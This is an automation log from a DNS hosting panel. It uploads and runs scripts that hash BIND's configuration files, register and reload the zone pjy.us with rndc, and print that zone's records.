MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-31 11:35:18: Establishing a connection
2026-03-31 11:35:18: Establishing a connection
2026-03-31 11:35:18: 

PUT: /tmp/pkp942677

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-31 11:35:18: 

runuser -l bind -s /bin/bash -c '/tmp/pkp942677; rm /tmp/pkp942677'

2026-03-31 11:35:18: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-31 11:35:18: 

PUT: /tmp/pkp827576

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '4e946d31d5dbbaea14c1f8a8cc65c592'
ZONE_NAME = 'pjy.us'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-03-31 11:35:18: 

chmod 755 /tmp/pkp827576; /tmp/pkp827576; rm /tmp/pkp827576

2026-03-31 11:35:21: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-03-31 11:35:21: 

PUT: /tmp/pkp334235

#!/bin/bash
rndc reload pjy.us 2>&1


2026-03-31 11:35:21: 

chmod 755 /tmp/pkp334235; /tmp/pkp334235; rm /tmp/pkp334235

2026-03-31 11:35:21: 


zone reload up-to-date


2026-03-31 11:35:22: Establishing a connection
2026-03-31 11:35:22: 

PUT: /tmp/pkp118208

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-31 11:35:22: 

runuser -l bind -s /bin/bash -c '/tmp/pkp118208; rm /tmp/pkp118208'

2026-03-31 11:35:22: 
2026-03-31 11:35:22: 

PUT: /tmp/pkp681250

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-31 11:35:22: 

chmod 755 /tmp/pkp681250; /tmp/pkp681250; rm /tmp/pkp681250

2026-03-31 11:35:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt	2094
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
pjy.us.                  		 IN    SOA      	pjy.us. hostmaster.pjy.us. ( 134991383 14400 3600 14400 3600 )
pjy.us.                  		 IN    NS       	ns1.hostz.org.
pjy.us.                  		 IN    NS       	ns2.hostz.org.
pjy.us.                   60	 IN    A        	94.177.8.99
@                        		 IN    MX       	10 mail.emessage.email.
@                        		 IN    TXT      	"google-site-verification=ZtHGz_iSYmEil9sMSPUDIl9d6IDFBLjzeNlYE2SfdQM"
_acme-challenge           60	 IN    TXT      	"MYZhN4zxqGn4U1GOxIFv8doVTsa7o1OxWR4Cwp6dovM"
_acme-challenge           60	 IN    TXT      	"h_63sRi7wLv3VpyJT5ADDvMkuAXXgEHcxDFo_37yAhs"
mail._domainkey           300	 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA475QNvlpQCiGASeKJCw/3JWK/doJrCzE7FwPZQ+5uzZtbYa/xHmrd5HZKPgy9ohyeqvdcjYTMCtb+J9Hj+lG90gaO/OiIgMpkck6UvFEXoXQQzPTChI1Jm1JaDmbq9u3Qxatb9Wr/Zd88ytfn6tdNATtyvzZcQw2HFHooDxWlsRW+wXi3j5UL0yL4CeL" "CzmSUiO74QQUPqqjljsKvRvbZmsGhHm/NW5RYG/L2yYjWMlhnEAgaE+v4oMDQHnb06Lf2fuoGJ2C2EJtoY1ZaqhvjA2+4kT7BXO3NItVFe+EyKpPhYBcqtuCsYUDH6eScwOHBp0rjTggUg9IUFLEGFoLPwIDAQAB"
alive                    		 IN    CNAME    	home.stoughton.link.
_acme-challenge.city      60	 IN    TXT      	"UeRMkqu8_l2gRItyFHba1VXxbuTR3icuWFS2-fYdY3g"
desktop                  		 IN    A        	192.168.1.174
_acme-challenge.desktop   60	 IN    TXT      	"l9WeTDaGjg8OuobZhMGe8q_0Jb8jwvfMlSNambIH7bM"
dm                       		 IN    A        	46.102.156.201
